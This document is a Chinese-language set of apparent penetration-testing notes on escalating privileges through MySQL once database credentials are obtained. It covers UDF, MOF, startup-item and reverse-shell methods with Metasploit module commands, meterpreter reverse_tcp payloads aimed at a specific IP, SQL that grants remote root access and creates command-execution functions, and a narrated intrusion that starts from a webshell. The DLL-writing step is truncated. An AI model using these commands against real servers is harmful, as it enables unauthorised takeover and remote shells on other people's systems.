数据库账号密码(最高权限)的获取
1、-secure-file-priv没进行目录限制
2、网站存在高权限SQL注入点
3、数据库的存储文件或备份文件
4、网站应用源码中的数据库配置文件
5、采用工具或脚本爆破(需解决外联问题)
Mysql(UDF、MOF、启动项、反弹shell)
1、UDF提权
获取密码-开启外联-高版本创建目录-MSF导出dll-Webshell执行后续
1.mysql<5.2 导出目录c:/windows或system32
2.mysql=>5.2 导出安装目录/lib/plugin/
select version()
select @@basedir
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
没有目录采用手工创建plugin目录或利用NTFS流创建
使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,
MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
MSF:(前提先开外链)
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 47.102.195.100
run
Navicat:
开外联后使用MSF导出,在执行后续命令调用执行
select * from mysql.func where name = "sys_exec"; //查看
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll
select sys_eval("whoami");//调用函数进行命令执行
实战开始》》》》》》》》》》》》》》》》》》》
1. 对web网站已经getshell,连接哥斯拉成功
2. 翻阅数据库文件,寻找数据库账号密码
得到数据库账号密码root root123
3. 连接数据库
4. 查看数据库版本select version()
5. 根据数据库版本,mysql=>5.2 需要使用MSF导入目录/lib/plugin/
(1)查看数据库的安装目录
select @@basedir
(2)找到安装目录下的lib,如果没有plugin,需要手动创建文件夹
6. 检查数据库是否开启外链允许
开启外链语句:GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
7. MSF写入eval
使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts X.X.X.X
run
8. 查看plugin文件下是否写入dll文件,查询sys_exec函数是否写入
select * from mysql.func where name = "sys_exec"; //查看
create function sys_eval returns string soname "MhlpHMIX.dll";//创建函数绑定dll,此处dll为plugin文件下的文件,文件名要与之对应
select sys_eval("whoami");//调用函数进行命令执行
2、MOF-Win2008后权限控制导致无效-MSF演示
https://www.cnblogs.com/xishaonian/p/6384535.html
MSF:use exploit/windows/mysql/mysql_mof
3、启动项
MSF:(前提先开外链)
use exploit/windows/mysql/mysql_start_up
set rhosts 47.102.195.100
set username root
set password root
set AllowNoCleanup true
set lhost ip(反弹给哪个IP)
set lport 4433
run
C:/programdata/microsoft/windows/start menu/programs/startup/BhzKu.exe
之后进行反弹shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0(接受全部IP反弹回的shell)
set lport 4433
run
4、反弹Shell
文章:https://blog.csdn.net/weixin_43801718/article/details/105493042
直接执行下方SQL语句,第二步代码在文章里面
use mysql;
set @a=concat('',
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
select data from Ghost into DUMPFILE 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
create function backshell returns string soname 'udf.dll';
select backshell('IP',7788)